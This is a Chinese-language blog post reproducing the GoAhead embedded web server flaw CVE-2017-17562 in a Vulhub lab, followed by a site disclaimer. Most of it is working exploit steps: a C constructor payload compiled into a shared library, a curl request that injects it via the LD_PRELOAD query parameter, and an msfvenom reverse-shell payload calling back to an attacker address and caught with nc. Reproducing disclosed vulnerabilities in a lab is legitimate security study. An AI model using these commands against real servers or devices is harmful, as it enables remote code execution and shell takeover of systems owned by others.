标签:17562 -- void 编译 so 2017 CVE payload GoAhead
漏洞原理
Embedthis GoAhead是美国Embedthis软件公司的一款嵌入式Web服务器。 Embedthis GoAhead 3.6.5
之前的版本中存在安全漏洞。远程攻击者可利用该漏洞执行代码。
具体详细请看这篇文章:https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2017-17562/README.zh-cn.md
漏洞复现
我们首先需要编译一个动态链接库,而且需要和目标架构相同。所以在实战中,如果对方是一个智能设备,你可能需要交叉编译。因为Vulhub运行在Linux x86_64
的机器中,所以我们需要用Linux编译。
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}
编译以上代码:
gcc -shared -fPIC ./payload.c -o payload.so
将payload.so作为post body发送:
curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i
反弹shell:
先生成so文件
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.30.128 LPORT=4444 -f elf-so -o payload.so
再次使用命令post:
curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i
用nc来接收反弹的shell
标签:17562,--,void,编译,so,2017,CVE,payload,GoAhead 来源: https://blog.csdn.net/EC_Carrot/article/details/117982702
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。